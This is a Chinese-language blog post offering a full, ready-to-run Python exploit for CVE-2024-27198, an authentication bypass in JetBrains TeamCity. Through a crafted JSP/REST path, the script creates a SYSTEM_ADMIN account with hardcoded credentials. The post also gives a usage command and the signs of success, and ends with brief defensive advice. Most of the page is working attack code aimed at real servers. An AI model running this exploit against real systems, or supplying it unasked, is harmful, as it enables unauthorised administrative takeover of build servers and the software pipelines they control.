JetBrains TeamCity 2023.11.4 认证绕过漏洞利用详解

本文详细介绍了JetBrains TeamCity 2023.11.4版本中的认证绕过漏洞(CVE-2024-27198),包含完整的Python利用代码,可通过路径遍历技术实现未授权管理员账户创建。

JetBrains TeamCity 2023.11.4 - 认证绕过 - 多Web应用利用

漏洞概述

CVE编号: CVE-2024-27198
CVSS评分: 9.8 (严重)
影响版本: < 2023.11.4
漏洞类型: 认证绕过

JetBrains TeamCity在2023.11.4版本之前存在一个严重的认证绕过漏洞,允许未认证的攻击者执行管理员操作。该漏洞利用了JSP处理机制中的路径遍历技术,结合REST API端点来绕过认证。

技术细节

漏洞利用路径

1
/idontexist?jsp=/app/rest/users;.jsp

利用代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
Date: 2024-02-21
Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
Vendor Homepage: https://www.jetbrains.com/teamcity/
Version: < 2023.11.4
CVE: CVE-2024-27198
CVSS Score: 9.8 (Critical)
Description:
JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
vulnerability that allows unauthenticated attackers to perform administrative actions.
The vulnerability leverages a path traversal-like technique in the JSP handling
mechanism combined with REST API endpoints to bypass authentication.
Requirements: requests>=2.25.1
"""

import requests
import argparse
import sys
import json
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

banner = f"""{Colors.CYAN}
 ████████╗███████╗ █████╗ ███╗   ███╗ ██████╗██╗████████╗██╗   ██╗
 ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
    ██║   █████╗  ███████║██╔████╔██║██║     ██║   ██║    ╚████╔╝ 
    ██║   ██╔══╝  ██╔══██║██║╚██╔╝██║██║     ██║   ██║     ╚██╔╝  
    ██║   ███████╗██║  ██║██║ ╚═╝ ██║╚██████╗██║   ██║      ██║   
    ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝╚═╝   ╚═╝      ╚═╝   
{Colors.END}
{Colors.BOLD}{Colors.RED}    TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW}                Author: ibrahimsql{Colors.END}
"""

parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()

class TeamCityExploit:
    def __init__(self, target_url, timeout=15, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        
    def _log(self, message, level="info"):
        if level == "success":
            print(f"{Colors.GREEN}[+] {message}{Colors.END}")
        elif level == "error":
            print(f"{Colors.RED}[-] {message}{Colors.END}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
        elif level == "info":
            print(f"{Colors.BLUE}[*] {message}{Colors.END}")
        elif level == "verbose" and self.verbose:
            print(f"[DEBUG] {message}")
            
    def check_target_reachability(self):
        try:
            self._log(f"Checking target: {self.target_url}")
            response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
            
            if response.status_code in [200, 302, 401, 403]:
                self._log("Target is reachable", "success")
                return True
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Connection timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False
    
    def exploit_authentication_bypass(self):
        exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
        full_url = f"{self.target_url}{exploit_path}"
        
        self._log(f"Targeting: {full_url}")
        
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Accept": "application/json, text/plain, */*"
        }
        
        payload = {
            "username": "ibrahimsql",
            "password": "ibrahimsql",
            "email": "ibrahimsql@exploit.local",
            "roles": {
                "role": [{
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }]
            }
        }
        
        self._log(f"Payload: {json.dumps(payload)}", "verbose")
    
        try:
            self._log("Attempting authentication bypass...")
            
            response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
            
            self._log(f"Status: {response.status_code}", "verbose")
            self._log(f"Response: {response.text[:200]}", "verbose")
            
            if response.status_code == 200:
                self._log("Exploit successful!", "success")
                
                print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                
                return True
                
            elif response.status_code == 401:
                self._log("Authentication required - target may be patched", "error")
                return False
            elif response.status_code == 404:
                self._log("Endpoint not found - target may be patched", "error")
                return False
            elif response.status_code == 403:
                self._log("Access forbidden", "error")
                return False
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Request timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False

def validate_url(url):
    try:
        parsed = urlparse(url)
        if not parsed.scheme:
            url = f"http://{url}"
            parsed = urlparse(url)
        
        if parsed.scheme not in ['http', 'https']:
            raise ValueError("URL must use HTTP or HTTPS")
            
        if not parsed.netloc:
            raise ValueError("Invalid URL format")
            
        return url
    except Exception as e:
        raise ValueError(f"Invalid URL: {str(e)}")

def main():
    print(banner)
    
    try:
        target_url = validate_url(args.url)
        
        print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
        print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
        print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
        print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
        
        exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
        
        if not exploit.check_target_reachability():
            exploit._log("Cannot reach target", "error")
            sys.exit(1)
        
        success = exploit.exploit_authentication_bypass()
        
        if success:
            exploit._log("Exploit completed!", "success")
            sys.exit(0)
        else:
            exploit._log("Exploit failed", "error")
            sys.exit(1)
            
    except ValueError as e:
        print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
        sys.exit(1)
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}")
        sys.exit(1)
    except Exception as e:
        print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
        sys.exit(1)

if __name__ == "__main__":
    main()

利用说明

该漏洞利用脚本通过向特定路径发送精心构造的POST请求,利用JSP处理机制中的路径遍历漏洞,绕过认证并创建具有SYSTEM_ADMIN权限的管理员账户。

使用方法

1
python3 exploit.py --url http://target-teamcity:8111

成功特征

  • 返回状态码200
  • 创建用户名为"ibrahimsql",密码为"ibrahimsql"的管理员账户
  • 具备SYSTEM_ADMIN系统权限

防护建议

  • 立即升级到TeamCity 2023.11.4或更高版本
  • 实施网络访问控制,限制对TeamCity实例的访问
  • 监控异常的用户创建和权限变更活动
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计